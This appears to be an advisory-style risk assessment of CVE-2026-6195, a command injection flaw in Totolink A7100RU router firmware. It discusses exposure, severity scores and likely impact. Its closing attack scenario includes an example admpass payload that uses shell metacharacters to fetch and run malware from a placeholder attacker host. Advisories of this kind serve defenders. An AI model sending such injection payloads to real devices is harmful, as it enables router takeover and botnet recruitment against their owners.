A7100Ru CVE-2026-6195

Remote unauthenticated exploitation against default configurations of Totolink A7100RU firmware 7.4cu.2313_b20191024. The CGI interface at /cgi-bin/cstecgi.cgi must be network-accessible (typically exposed when remote management is enabled on WAN interface, or accessible from LAN). No authentication required per CVSS vector PR:N. Attack succeeds against routers with this specific firmware version where the setPasswordCfg function endpoint is reachable.

Despite the high CVSS 8.9 base score (AV:N/AC:L/PR:N/UI:N indicating network-accessible, low-complexity, unauthenticated exploitation), real-world organizational risk is likely limited to environments deploying this specific Totolink consumer router model. The EPSS score of 0.89% (76th percentile) suggests moderate but not critical exploitation likelihood compared to the broader vulnerability landscape. SSVC analysis confirms the vulnerability is automatable with total technical impact and POC availability, elevating priority for affected organizations. However, absence from CISA KEV indicates no confirmed active exploitation campaigns at scale. The primary risk is to small office/home office (SOHO) deployments and possibly IoT botnets targeting consumer routers. Enterprise networks rarely deploy Totolink consumer equipment, significantly constraining the exposure surface. The public POC on GitHub enables script-kiddie level attacks but also facilitates defensive testing. This is a genuine high-severity issue for the specific product but not a widespread enterprise emergency.

An unauthenticated attacker on the internet identifies a Totolink A7100RU router with exposed web management interface on its WAN port. Using the publicly available POC from GitHub, the attacker sends a crafted HTTP request to /cgi-bin/cstecgi.cgi with shell metacharacters injected into the admpass parameter (e.g., admpass=password;wget${IFS}http://attacker.com/malware;sh${IFS}malware;). The vulnerable setPasswordCfg function passes this unsanitized input to a shell command, executing the attacker's payload with router firmware privileges, enabling device takeover, botnet enrollment, or network pivoting.